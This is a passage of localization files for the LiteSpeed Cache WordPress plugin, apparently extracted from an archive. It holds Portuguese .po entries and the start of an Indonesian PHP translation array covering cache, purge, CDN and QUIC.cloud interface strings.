#. translators: %s: Default login cookie name
#: tpl/cache/settings_inc.login_cookie.tpl.php:32
msgid "The default login cookie is %s."
msgstr "O cookie de acesso padrão é %s."

#: src/lang.cls.php:226
msgid "Login Cookie"
msgstr "Cookie de acesso"

#: tpl/toolbox/settings-debug.tpl.php:104
msgid "More information about the available commands can be found here."
msgstr "Mais informações sobre os comandos disponíveis podem ser encontradas aqui."

#: tpl/cache/settings-advanced.tpl.php:22
msgid "These settings are meant for ADVANCED USERS ONLY."
msgstr "Essas configurações são destinadas APENAS PARA USUÁRIOS AVANÇADOS."

#: tpl/toolbox/edit_htaccess.tpl.php:91
msgid "Current %s Contents"
msgstr "Conteúdo atual de %s"

#: tpl/cache/entry.tpl.php:22 tpl/cache/entry.tpl.php:78
#: tpl/toolbox/settings-debug.tpl.php:117
msgid "Advanced"
msgstr "Avançado"

#: tpl/cache/network_settings-advanced.tpl.php:17
#: tpl/cache/settings-advanced.tpl.php:16
msgid "Advanced Settings"
msgstr "Configurações avançadas"

#: tpl/toolbox/purge.tpl.php:225
msgid "Purge List"
msgstr "Limpar lista"

#: tpl/toolbox/purge.tpl.php:176
msgid "Purge By..."
msgstr "Limpar por..."

#: tpl/crawler/blacklist.tpl.php:41 tpl/crawler/map.tpl.php:76
#: tpl/toolbox/purge.tpl.php:200
msgid "URL"
msgstr "URL"

#: tpl/toolbox/purge.tpl.php:196
msgid "Tag"
msgstr "Tag"

#: tpl/toolbox/purge.tpl.php:192
msgid "Post ID"
msgstr "ID do post"

#: tpl/toolbox/purge.tpl.php:188
msgid "Category"
msgstr "Categoria"

#: tpl/inc/show_error_cookie.php:16
msgid "NOTICE: Database login cookie did not match your login cookie."
msgstr "NOTIFICAÇÃO: O cookie de acesso do banco de dados não corresponde ao seu cookie de acesso."

#: src/purge.cls.php:808
msgid "Purge url %s"
msgstr "Limpar URL %s"

#: src/purge.cls.php:774
msgid "Purge tag %s"
msgstr "Limpar tag %s"

#: src/purge.cls.php:745
msgid "Purge category %s"
msgstr "Limpar categoria %s"

#: tpl/cache/settings-cache.tpl.php:42
msgid "When disabling the cache, all cached entries for this site will be purged."
msgstr "Ao desativar o cache, todas as entradas em cache deste site serão eliminadas."

#: tpl/cache/settings-cache.tpl.php:42 tpl/crawler/settings.tpl.php:113
#: tpl/crawler/settings.tpl.php:133 tpl/crawler/summary.tpl.php:208
#: tpl/page_optm/entry.tpl.php:42 tpl/toolbox/settings-debug.tpl.php:47
msgid "NOTICE"
msgstr "NOTIFICAÇÃO"

#: src/doc.cls.php:137
msgid "This setting will edit the .htaccess file."
msgstr "Esta configuração irá editar o arquivo .htaccess."

#: tpl/toolbox/edit_htaccess.tpl.php:41
msgid "LiteSpeed Cache View .htaccess"
msgstr "Visualização do LiteSpeed Cache .htaccess"

#: src/error.cls.php:175
msgid "Failed to back up %s file, aborted changes."
msgstr "Falha ao fazer backup do arquivo %s, alterações abortadas."

#: src/lang.cls.php:224
msgid "Do Not Cache Cookies"
msgstr "Não armazenar cookies em cache"

#: src/lang.cls.php:225
msgid "Do Not Cache User Agents"
msgstr "Não armazenar agentes de usuário em cache"

#: tpl/cache/network_settings-cache.tpl.php:30
msgid "This is to ensure compatibility prior to enabling the cache for all sites."
msgstr "Isso é para garantir a compatibilidade antes de ativar o cache para todos os sites."

#: tpl/cache/network_settings-cache.tpl.php:24
msgid "Network Enable Cache"
msgstr "Ativar cache de rede"

#: thirdparty/woocommerce.content.tpl.php:23
#: tpl/cache/settings-advanced.tpl.php:21
#: tpl/cache/settings_inc.browser.tpl.php:23 tpl/toolbox/beta_test.tpl.php:41
#: tpl/toolbox/heartbeat.tpl.php:24 tpl/toolbox/report.tpl.php:46
msgid "NOTICE:"
msgstr "NOTIFICAÇÃO:"

#: tpl/cache/settings-purge.tpl.php:56
msgid "Other checkboxes will be ignored."
msgstr "As outras caixas de seleção serão ignoradas."

#: tpl/cache/settings-purge.tpl.php:55
msgid "Select \"All\" if there are dynamic widgets linked to posts on pages other than the front or home pages."
msgstr "Selecione \"Tudo\" se houver widgets dinâmicos vinculados a posts em páginas diferentes da página inicial ou principal."

#: src/lang.cls.php:108 tpl/cache/settings_inc.cache_mobile.tpl.php:92
msgid "List of Mobile User Agents"
msgstr "Lista de agentes de usuários móveis"

#: src/file.cls.php:168 src/file.cls.php:172
msgid "File %s is not writable."
msgstr "O arquivo %s não é gravável."

#: tpl/page_optm/entry.tpl.php:17 tpl/page_optm/settings_js.tpl.php:17
msgid "JS Settings"
msgstr "Configurações de JS"

#: src/gui.cls.php:710 tpl/db_optm/entry.tpl.php:13
msgid "Manage"
msgstr "Gerenciar"

#: src/lang.cls.php:93
msgid "Default Front Page TTL"
msgstr "TTL padrão da página inicial"

#: src/purge.cls.php:684
msgid "Notified LiteSpeed Web Server to purge the front page."
msgstr "Servidor Web LiteSpeed ​​notificado para limpar a página inicial."

#: tpl/toolbox/purge.tpl.php:17
msgid "Purge Front Page"
msgstr "Limpar página inicial"

#: tpl/page_optm/settings_localization.tpl.php:137
#: tpl/toolbox/beta_test.tpl.php:50
msgid "Example"
msgstr "Exemplo"

#: tpl/cache/settings-excludes.tpl.php:99
msgid "All tags are cached by default."
msgstr "Todas as tags são armazenadas em cache por padrão."

#: tpl/cache/settings-excludes.tpl.php:66
msgid "All categories are cached by default."
msgstr "Todas as categorias são armazenadas em cache por padrão."

#. translators: %s: dollar symbol
#: src/admin-display.cls.php:1540
msgid "To do an exact match, add %s to the end of the URL."
msgstr "Para fazer uma correspondência exata, adicione %s ao final do URL."

#: src/admin-display.cls.php:1533
msgid "The URLs will be compared to the REQUEST_URI server variable."
msgstr "Os URLs serão comparados à variável de servidor REQUEST_URI."

#: tpl/cache/settings-purge.tpl.php:57
msgid "Select only the archive types that are currently used, the others can be left unchecked."
msgstr "Selecione apenas os tipos de arquivo usados ​​atualmente; os outros podem ser deixados desmarcados."

#: tpl/toolbox/report.tpl.php:122
msgid "Notes"
msgstr "Observações"

#: tpl/cache/settings-cache.tpl.php:28
msgid "Use Network Admin Setting"
msgstr "Usar configuração de administrador de rede"

#: tpl/esi_widget_edit.php:54
msgid "Disable"
msgstr "Desativar"

#: tpl/cache/network_settings-cache.tpl.php:28
msgid "Enabling LiteSpeed Cache for WordPress here enables the cache for the network."
msgstr "A ativação do LiteSpeed Cache para WordPress aqui ativa o cache para a rede."

#: tpl/cache/settings_inc.object.tpl.php:16
msgid "Disabled"
msgstr "Desativado"

#: tpl/cache/settings_inc.object.tpl.php:15
msgid "Enabled"
msgstr "Ativado"

#: src/lang.cls.php:136
msgid "Do Not Cache Roles"
msgstr "Não armazenar funções em cache"

#. Author URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com"
msgstr "https://www.litespeedtech.com"

#. Author of the plugin
#: litespeed-cache.php
msgid "LiteSpeed Technologies"
msgstr "LiteSpeed Technologies"

#. Plugin Name of the plugin
#: litespeed-cache.php tpl/banner/new_version.php:57
#: tpl/banner/new_version_dev.tpl.php:21 tpl/cache/more_settings_tip.tpl.php:28
#: tpl/esi_widget_edit.php:41 tpl/inc/admin_footer.php:17
msgid "LiteSpeed Cache"
msgstr "LiteSpeed Cache"

#: src/lang.cls.php:259
msgid "Debug Level"
msgstr "Nível de depuração"

#: tpl/general/settings.tpl.php:72 tpl/general/settings.tpl.php:79
#: tpl/general/settings.tpl.php:86 tpl/general/settings.tpl.php:103
#: tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "Notice"
msgstr "Notificação"

#: tpl/cache/settings-purge.tpl.php:31
msgid "Term archive (include category, tag, and tax)"
msgstr "Arquivo de termos (incluindo categoria, tag e taxonomia)"

#: tpl/cache/settings-purge.tpl.php:30
msgid "Daily archive"
msgstr "Arquivo diário"

#: tpl/cache/settings-purge.tpl.php:29
msgid "Monthly archive"
msgstr "Arquivo mensal"

#: tpl/cache/settings-purge.tpl.php:28
msgid "Yearly archive"
msgstr "Arquivo anual"

#: tpl/cache/settings-purge.tpl.php:27
msgid "Post type archive"
msgstr "Arquivo de tipo de post"

#: tpl/cache/settings-purge.tpl.php:26
msgid "Author archive"
msgstr "Arquivo do autor"

#: tpl/cache/settings-purge.tpl.php:23
msgid "Home page"
msgstr "Página inicial"

#: tpl/cache/settings-purge.tpl.php:22
msgid "Front page"
msgstr "Página principal"

#: tpl/cache/settings-purge.tpl.php:21
msgid "All pages"
msgstr "Todas as páginas"

#: tpl/cache/settings-purge.tpl.php:73
msgid "Select which pages will be automatically purged when posts are published/updated."
msgstr "Selecione quais páginas serão automaticamente limpas quando posts forem publicados/atualizados."

#: tpl/cache/settings-purge.tpl.php:50
msgid "Auto Purge Rules For Publish/Update"
msgstr "Regras automáticas de limpeza para Publicar/Atualizar"

#: src/lang.cls.php:91
msgid "Default Public Cache TTL"
msgstr "TTL padrão de cache público"

#: src/admin-display.cls.php:1327 tpl/cache/settings_inc.object.tpl.php:162
#: tpl/crawler/settings.tpl.php:43 tpl/esi_widget_edit.php:78
msgid "seconds"
msgstr "segundos"

#: src/lang.cls.php:258
msgid "Admin IPs"
msgstr "IPs de administrador"

#: src/admin-display.cls.php:253
msgid "General"
msgstr "Geral"

#: tpl/cache/entry.tpl.php:100
msgid "LiteSpeed Cache Settings"
msgstr "Configurações do LiteSpeed Cache"

#: src/purge.cls.php:235
msgid "Notified LiteSpeed Web Server to purge all LSCache entries."
msgstr "Servidor Web LiteSpeed ​​notificado para limpar todas as entradas LSCache."

#: src/gui.cls.php:554 src/gui.cls.php:562 src/gui.cls.php:570
#: src/gui.cls.php:579 src/gui.cls.php:589 src/gui.cls.php:599
#: src/gui.cls.php:609 src/gui.cls.php:619 src/gui.cls.php:628
#: src/gui.cls.php:638 src/gui.cls.php:648 src/gui.cls.php:736
#: src/gui.cls.php:744 src/gui.cls.php:752 src/gui.cls.php:761
#: src/gui.cls.php:771 src/gui.cls.php:781 src/gui.cls.php:791
#: src/gui.cls.php:801 src/gui.cls.php:810 src/gui.cls.php:820
#: src/gui.cls.php:830 tpl/page_optm/settings_media.tpl.php:141
#: tpl/toolbox/purge.tpl.php:40 tpl/toolbox/purge.tpl.php:47
#: tpl/toolbox/purge.tpl.php:55 tpl/toolbox/purge.tpl.php:64
#: tpl/toolbox/purge.tpl.php:73 tpl/toolbox/purge.tpl.php:82
#: tpl/toolbox/purge.tpl.php:91 tpl/toolbox/purge.tpl.php:100
#: tpl/toolbox/purge.tpl.php:109 tpl/toolbox/purge.tpl.php:117
msgid "Purge All"
msgstr "Limpar tudo"

#: src/admin-display.cls.php:538 src/gui.cls.php:718
#: tpl/crawler/entry.tpl.php:17
msgid "Settings"
msgstr "Configurações"

#: tpl/banner/score.php:122
msgid "Support forum"
msgstr "Fórum de suporte"litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-id_ID.l10n.php000064400000412632151031165260021250 0ustar00<?php
return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2025-09-10 16:39:51+0000','plural-forms'=>'nplurals=2; plural=n > 1;','project-id-version'=>'Plugins - LiteSpeed Cache - Stable (latest release)','language'=>'id','messages'=>['Turn on OptimaX. This will automatically request your pages OptimaX result via cron job.'=>'Aktifkan OptimaX. Hal ini akan secara otomatis meminta hasil OptimaX untuk halaman Anda melalui tugas cron.','LiteSpeed Cache OptimaX'=>'LiteSpeed Cache OptimaX','OptimaX Settings'=>'Pengaturan OptimaX','OptimaX Summary'=>'Ikhtisar OptimaX','Choose which image sizes to optimize.'=>'Pilih ukuran gambar yang ingin dioptimalkan.','No sizes found.'=>'Tidak ditemukan ukuran.','Optimize Image Sizes'=>'Optimasi Ukuran Gambar','OptimaX'=>'OptimaX','LiteSpeed Cache is temporarily disabled until: %s.'=>'LiteSpeed Cache dinonaktifkan sementara hingga: %s.','Remove `Disable All Feature` Flag Now'=>'Hapus Tanda `Nonaktifkan Seluruh Fitur` Sekarang','Disable All Features for 24 Hours'=>'Nonaktifkan Seluruh Fitur selama 24 Jam','LiteSpeed Cache is disabled. This functionality will not work.'=>'LiteSpeed Cache dinonaktifkan. Fungsi ini tidak akan berjalan.','Filter %s available to change threshold.'=>'Filter %s tersedia untuk mengubah ambang batas.','Scaled size threshold'=>'Ambang batas ukuran yang diskalakan','Automatically replace large images with scaled versions.'=>'Secara otomatis mengganti gambar berukuran besar dengan versi yang telah diskalakan.','Auto Rescale Original Images'=>'Otomatis Menyesuaikan Ukuran Gambar Asli','UCSS Inline Excluded Files'=>'Berkas yang Dikecualikan UCSS Sebaris','The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again.'=>'Koneksi QUIC.cloud tidak benar. Silakan coba sinkronkan koneksi QUIC.cloud Anda lagi.','Not enough parameters. Please check if the QUIC.cloud connection is set correctly'=>'Parameter tidak cukup. Silakan periksa apakah koneksi QUIC.cloud telah diatur dengan benar.','No fields'=>'Tidak ada bidang','Value from filter applied'=>'Nilai dari filter yang diterapkan','This value is overwritten by the filter.'=>'Nilai ini ditimpa oleh filter.','This value is overwritten by the %s variable.'=>'Nilai ini ditimpa oleh variabel %s.','QUIC.cloud CDN'=>'CDN QUIC.cloud','Predefined list will also be combined with the above settings'=>'Daftar yang telah ditentukan sebelumnya juga akan digabungkan dengan pengaturan di atas','Tuning CSS Settings'=>'Pengaturan Penyesuaian CSS','Predefined list will also be combined with the above settings.'=>'Daftar yang telah ditentukan juga akan digabungkan dengan pengaturan di atas.','Clear'=>'Bersihkan','If not, please verify the setting in the %sAdvanced tab%s.'=>'Jika tidak, harap verifikasi pengaturan di %sTab Lanjutan%s.','Close popup'=>'Tutup sembulan','Deactivate plugin'=>'Nonaktifkan plugin','If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images.'=>'Jika Anda telah menggunakan Optimasi Gambar, harap %sHapus Seluruh Data Optimasi%s terlebih dahulu. CATATAN: Ini tidak menghapus gambar yang telah Anda optimalkan..','On uninstall, all plugin settings will be deleted.'=>'Saat menghapus instalasi, seluruh pengaturan plugin akan dihapus.','Why are you deactivating the plugin?'=>'Mengapa Anda menonaktifkan plugin ini?','Other'=>'Lainnya','Plugin is too complicated'=>'Plugin terlalu rumit','Site performance is worse'=>'Kinerja situs lebih buruk','The deactivation is temporary'=>'Penonaktifan bersifat sementara','Deactivate LiteSpeed Cache'=>'Nonaktifkan Cache LiteSpeed','CDN - Disabled'=>'CDN - Dinonaktifkan','CDN - Enabled'=>'CDN - Diaktifkan','Connected Date:'=>'Tanggal Terhubung:','Node:'=>'Simpul:','Service:'=>'Layanan:','Autoload top list'=>'Daftar Teratas Muat Otomatis','Autoload entries'=>'Entri Muat Otomatis','Autoload size'=>'Ukuran Muat Otomatis','This Month Usage: %s'=>'Penggunaan Bulan Ini: %s','Usage Statistics: %s'=>'Statistik Penggunaan: %s','more'=>'lainnya','Globally fast TTFB, easy setup, and %s!'=>'TTFB yang cepat secara global, pengaturan yang mudah, dan %s!','Last requested: %s'=>'Permintaan terakhir: %s','Last generated: %s'=>'Pembuatan terakhir: %s','Requested: %s ago'=>'Diminta: %s lalu','LiteSpeed Web ADC'=>'ADC Situs LiteSpeed','OpenLiteSpeed Web Server'=>'Peladen Situs OpenLiteSpeed','LiteSpeed Web Server'=>'Peladen Situs LiteSpeed','PAYG used this month: %s. PAYG balance and usage not included in above quota calculation.'=>'PAYG yang digunakan bulan ini: %s. Saldo PAYG dan penggunaan tidak termasuk dalam perhitungan kuota di atas.','Last crawled:'=>'Perayapan Terakhir:','%1$s %2$d item(s)'=>'%1$s %2$d item','Start watching...'=>'Mulai memantau...','Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence.'=>'Crawler tidak dapat dijalankan secara bersamaan. Jika cron dan eksekusi manual dimulai pada waktu yang hampir bersamaan, yang pertama kali dimulai akan diprioritaskan.','Position: '=>'Posisi: ','%d item(s)'=>'%d item','Last crawled'=>'Perayapan Terakhir','Serve your visitors fast'=>'Melayani pengunjung Anda dengan cepat','This will affect all tags containing attributes: %s.'=>'Ini akan memengaruhi seluruh tag yang mengandung atribut: %s.','%1$sLearn More%2$s'=>'%1$sPelajari Lebih Lanjut%2$s','Get it from %s.'=>'Dapatkan dari %s.','Reset the OPcache failed.'=>'Reset OPcache gagal.','OPcache is restricted by %s setting.'=>'OPcache dibatasi oleh pengaturan %s.','OPcache is not enabled.'=>'OPcache tidak diaktifkan.','Enable All Features'=>'Aktifkan Seluruh Fitur','e.g. Use %1$s or %2$s.'=>'mis. Gunakan %1$s atau %2$s.','Click to copy'=>'Klik untuk menyalin','Rate %1$s on %2$s'=>'Nilai %1$s di %2$s','Clear %s cache when "Purge All" is run.'=>'Hapus cache %s saat "Hapus Semua" dijalankan.','SYNTAX: alphanumeric and "_". No spaces and case sensitive.'=>'SINTAKSIS: Huruf dan angka serta tanda hubung (“_”). Tidak boleh ada spasi dan sensitif terhadap huruf besar/kecil.','SYNTAX: alphanumeric and "_". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS.'=>'SINTAKSIS: Huruf dan angka serta tanda hubung (“_”). Tidak boleh ada spasi dan sensitif terhadap huruf besar/kecil. HARUS UNIK DARI APLIKASI WEB LAINNYA.','Submit a ticket'=>'Kirim tiket','Clear Cloudflare cache'=>'Bersihkan Cache Cloudflare','QUIC.cloud\'s access to your WP REST API seems to be blocked.'=>'Akses QUIC.cloud ke WP REST API Anda tampaknya diblokir.','Copy Log'=>'Salin Log','Selectors must exist in the CSS. Parent classes in the HTML will not work.'=>'Selektor harus ada di dalam CSS. Kelas induk dalam HTML tidak akan berfungsi.','List the CSS selectors whose styles should always be included in CCSS.'=>'Daftar selektor CSS yang gayanya harus selalu disertakan dalam CCSS.','List the CSS selectors whose styles should always be included in UCSS.'=>'Daftar selektor CSS yang gayanya harus selalu disertakan dalam UCS.','Available after %d second(s)'=>'Tersedia setelah %d detik','Enable QUIC.cloud Services'=>'Aktifkan Layanan QUIC.cloud','The features below are provided by %s'=>'Fitur di bawah ini disediakan oleh %s','Do not show this again'=>'Jangan tampilkan ini lagi','Free monthly quota available. Can also be used anonymously (no email required).'=>'Tersedia kuota bulanan gratis. Dapat juga digunakan secara anonim (tidak perlu surel).','Cloudflare Settings'=>'Pengaturan Cloudflare','Failed to detect IP'=>'Gagal mendeteksi IP','CCSS Selector Allowlist'=>'Daftar Selektor CCSS yang Diizinkan','Outputs to a series of files in the %s directory.'=>'Keluaran ke serangkaian berkas dalam direktori %s.','Attach PHP info to report. Check this box to insert relevant data from %s.'=>'Lampirkan info PHP ke laporan. Centang kotak ini untuk memasukkan data yang relevan dari %s.','Last Report Date'=>'Tanggal Laporan Terakhir','Last Report Number'=>'Jumlah Laporan Terakhir','Regenerate and Send a New Report'=>'Buat Ulang dan Kirim Laporan Baru','This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action.'=>'Ini akan mengatur ulang %1$s. Jika Anda mengubah pengaturan WebP/AVIF dan ingin menghasilkan %2$s untuk gambar yang dioptimalkan sebelumnya, gunakan tindakan ini.','Soft Reset Optimization Counter'=>'Penghitung Optimasi Set Ulang Ringan','When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images.'=>'Apabila beralih format, silakan %1$s atau %2$s untuk menerapkan pilihan baru ini ke gambar yang sudah dioptimalkan sebelumnya.','%1$s is a %2$s paid feature.'=>'%1$s merupakan fitur berbayar %2$s.','Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first.'=>'Hapus integrasi QUIC.cloud dari situs ini. Catatan: Data QUIC.cloud akan disimpan sehingga Anda dapat mengaktifkan kembali layanan kapan saja. Jika Anda ingin sepenuhnya menghapus situs Anda dari QUIC.cloud, hapus domain melalui Dasbor QUIC.cloud terlebih dahulu.','Disconnect from QUIC.cloud'=>'Putuskan sambungan dari QUIC.cloud','Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard.'=>'Apakah Anda yakin ingin memutuskan sambungan dari QUIC.cloud? Tindakan ini tidak akan menghapus data apa pun dari dasbor QUIC.cloud.','CDN - not available for anonymous users'=>'CDN - tidak tersedia bagi pengguna anonim','Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.'=>'Situs Anda terhubung dan menggunakan Layanan Daring QUIC.cloud sebagai <strong>pengguna anonim</strong>. Fungsi CDN dan fitur tertentu dari layanan optimisasi tidak tersedia untuk pengguna anonim. Tautkan ke QUIC.cloud untuk menggunakan CDN dan semua fitur Layanan Daring yang tersedia.','QUIC.cloud Integration Enabled with limitations'=>'Integrasi QUIC.cloud Diaktifkan dengan keterbatasan','Your site is connected and ready to use QUIC.cloud Online Services.'=>'Situs Anda telah terhubung dan siap untuk menggunakan Layanan Daring QUIC.cloud.','QUIC.cloud Integration Enabled'=>'Integrasi QUIC.cloud Diaktifkan','In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it.'=>'Untuk menggunakan sebagian besar layanan QUIC.cloud, Anda memerlukan kuota. QUIC.cloud memberi Anda kuota gratis setiap bulan, tetapi jika Anda membutuhkan lebih banyak, Anda dapat membelinya.','Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding.'=>'Menawarkan <strong>layanan DNS bawaan</strong> opsional untuk menyederhanakan proses penerimaan CDN.','Provides <strong>security at the CDN level</strong>, protecting your server from attack.'=>'Menyediakan <strong>keamanan di tingkat CDN</strong>, melindungi peladen Anda dari serangan.','Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>.'=>'Menghadirkan cakupan global dengan <strong>80+ jaringan PoP</strong> yang terus berkembang.','Caches your entire site, including dynamic content and <strong>ESI blocks</strong>.'=>'Menyimpan cache seluruh situs Anda, termasuk konten dinamis dan <strong>blok ESI</strong>.','Content Delivery Network'=>'Jaringan Pengiriman Konten','<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold.'=>'<strong>Area Pandang Gambar (VPI)</strong> memberikan tampilan penuh yang dipoles dengan baik di atas lipatan.','<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads.'=>'<strong>Penampung Gambar Kualitas Rendah (LQIP)</strong> memberikan tampilan yang lebih menyenangkan pada gambar Anda karena tidak banyak memuat.','<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall.'=>'<strong>CSS Unik (UCS) </strong> menghapus definisi gaya yang tidak digunakan untuk pemuatan halaman yang lebih cepat secara keseluruhan.','<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling.'=>'<strong>CSS Penting (CCSS)</strong> memuat konten yang terlihat di atas lipatan dengan lebih cepat dan dengan gaya penuh.','QUIC.cloud\'s Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores.'=>'Layanan Optimasi Halaman QUIC.cloud mengatasi CSS berlebihan, dan meningkatkan pengalaman pengguna selama pemuatan halaman, yang dapat meningkatkan skor kecepatan halaman.','Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee.'=>'Pemrosesan untuk format gambar PNG, JPG, dan WebP gratis. AVIF tersedia dengan biaya tambahan.','Optionally creates next-generation WebP or AVIF image files.'=>'Secara opsional, membuat berkas gambar WebP atau AVIF generasi berikutnya.','Processes your uploaded PNG and JPG images to produce smaller versions that don\'t sacrifice quality.'=>'Memproses gambar PNG dan JPG yang Anda unggah untuk menghasilkan versi yang lebih kecil tanpa mengorbankan kualitas.','QUIC.cloud\'s Image Optimization service does the following:'=>'Layanan Optimasi Gambar QUIC.cloud melakukan hal berikut:','<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading.'=>'<strong>Optimasi Halaman</strong> merampingkan gaya halaman dan elemen visual untuk pemuatan yang lebih cepat.','<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster.'=>'<strong>Optimasi Gambar</strong> memberi Anda ukuran berkas gambar yang lebih kecil yang dikirimkan lebih cepat.','QUIC.cloud\'s Online Services improve your site in the following ways:'=>'Layanan Daring QUIC.cloud meningkatkan situs Anda dengan cara-cara berikut:','Speed up your WordPress site even further with QUIC.cloud Online Services and CDN.'=>'Percepat situs WordPress Anda lebih jauh lagi dengan Layanan Daring dan CDN QUIC.cloud.','QUIC.cloud Integration Disabled'=>'Integrasi QUIC.cloud Dinonaktifkan','QUIC.cloud Online Services'=>'Layanan Daring QUIC.cloud','Online Services'=>'Layanan Daring','Autoload'=>'Muat Otomatis','Refresh QUIC.cloud status'=>'Segarkan status QUIC.cloud','Refresh'=>'Segarkan','You must be using one of the following products in order to measure Page Load Time:'=>'Anda harus menggunakan salah satu dari produk berikut ini untuk mengukur Waktu Muat Halaman:','Refresh Usage'=>'Segarkan Penggunaan','News'=>'Berita','You need to set the %s in Settings first before using the crawler'=>'Anda harus mengatur %s di Pengaturan terlebih dahulu sebelum menggunakan perayap','You must set %1$s to %2$s before using this feature.'=>'Anda harus mengatur %1$s ke %2$s sebelum menggunakan fitur ini.','You must set %s before using this feature.'=>'Anda harus mengatur %s sebelum menggunakan fitur ini.','My QUIC.cloud Dashboard'=>'Dasbor QUIC.cloud Saya','You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard.'=>'Saat ini Anda menggunakan layanan sebagai pengguna anonim. Untuk mengelola opsi QUIC.cloud Anda, gunakan tombol di bawah ini untuk membuat akun dan menautkan ke Dasbor QUIC.cloud.','To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.'=>'Untuk mengelola opsi QUIC.cloud Anda, buka Dasbor QUIC.cloud.','To manage your QUIC.cloud options, please contact your hosting provider.'=>'Untuk mengelola opsi QUIC.cloud Anda, silakan hubungi penyedia hosting Anda.','To manage your QUIC.cloud options, go to your hosting provider\'s portal.'=>'Untuk mengelola opsi QUIC.cloud Anda, buka portal penyedia hosting Anda.','QUIC.cloud CDN Options'=>'Opsi CDN QUIC.cloud','Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!'=>'Performa WordPress terbaik yang tersedia, TTFB yang cepat secara global, penyiapan yang mudah, dan %sbanyak lagi%s!','no matter where they live.'=>'tidak peduli di mana pun mereka tinggal.','Content Delivery Network Service'=>'Layanan Jaringan Pengiriman Konten','Enable QUIC.cloud CDN'=>'Aktifkan CDN QUIC.cloud','Link & Enable QUIC.cloud CDN'=>'Tautkan & Aktifkan CDN QUIC.cloud','QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users.'=>'CDN QUIC.cloud <strong>tidak tersedia</strong> untuk pengguna anonim (tidak ditautkan).','QUIC.cloud CDN is currently <strong>fully disabled</strong>.'=>'QUIC.cloud CDN saat ini <strong>sepenuhnya dinonaktifkan</strong>.','Learn More about QUIC.cloud'=>'Pelajari Lebih Lanjut tentang QUIC.cloud','QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.'=>'QUIC.cloud menyediakan CDN dan layanan pengoptimalan daring, dan tidak diperlukan. Anda dapat menggunakan banyak fitur plugin ini tanpa QUIC.cloud.','Enable QUIC.cloud services'=>'Aktifkan layanan QUIC.cloud','Free monthly quota available.'=>'Tersedia kuota bulanan gratis.','Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.'=>'Percepat situs WordPress Anda lebih jauh lagi dengan <strong>Layanan Daring dan CDN QUIC.cloud</strong>.','Accelerate, Optimize, Protect'=>'Mempercepat, Mengoptimalkan, Melindungi','Check the status of your most important settings and the health of your CDN setup here.'=>'Periksa status pengaturan terpenting Anda dan kesehatan penyiapan CDN Anda di sini.','QUIC.cloud CDN Status Overview'=>'Ikhtisar Status CDN QUIC.cloud','Refresh Status'=>'Segarkan Status','Other Static CDN'=>'CDN Statis Lainnya','Dismiss this notice.'=>'Tutup pemberitahuan ini.','Send to twitter to get %s bonus'=>'Kirim ke twitter untuk mendapatkan bonus %s','Spread the love and earn %s credits to use in our QUIC.cloud online services.'=>'Sebarkan cinta dan dapatkan %s kredit untuk digunakan dalam layanan daring QUIC.cloud kami.','No backup of unoptimized AVIF file exists.'=>'Tidak ada cadangan berkas AVIF yang tidak dioptimalkan.','AVIF saved %s'=>'AVIF disimpan %s','AVIF file reduced by %1$s (%2$s)'=>'Berkas AVIF dikurangi oleh %1$s (%2$s)','Currently using original (unoptimized) version of AVIF file.'=>'Saat ini menggunakan versi asli (tidak dioptimalkan) dari berkas AVIF.','Currently using optimized version of AVIF file.'=>'Saat ini menggunakan versi yang dioptimalkan dari berkas AVIF.','WebP/AVIF For Extra srcset'=>'WebP/AVIF Untuk srcset ekstra','Next-Gen Image Format'=>'Format Gambar Next-Gen','Enabled AVIF file successfully.'=>'Berhasil mengaktifkan berkas AVIF.','Disabled AVIF file successfully.'=>'Berhasil menonaktifkan berkas AVIF.','Reset image optimization counter successfully.'=>'Berhasil mengatur ulang penghitung optimasi gambar.','Filename is empty!'=>'Nama berkas kosong!','You will need to finish %s setup to use the online services.'=>'Anda harus menyelesaikan pengaturan %s untuk menggunakan layanan daring.','Sync QUIC.cloud status successfully.'=>'Berhasil menyinkronkan status QUIC.cloud.','Linked to QUIC.cloud preview environment, for testing purpose only.'=>'Ditautkan ke lingkungan pratinjau QUIC.cloud, hanya untuk tujuan pengujian.','Click here to proceed.'=>'Klik di sini untuk melanjutkan.','Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.'=>'Situs tidak dikenali. QUIC.cloud dinonaktifkan secara otomatis. Silakan aktifkan kembali akun QUIC.cloud Anda.','Reset %s activation 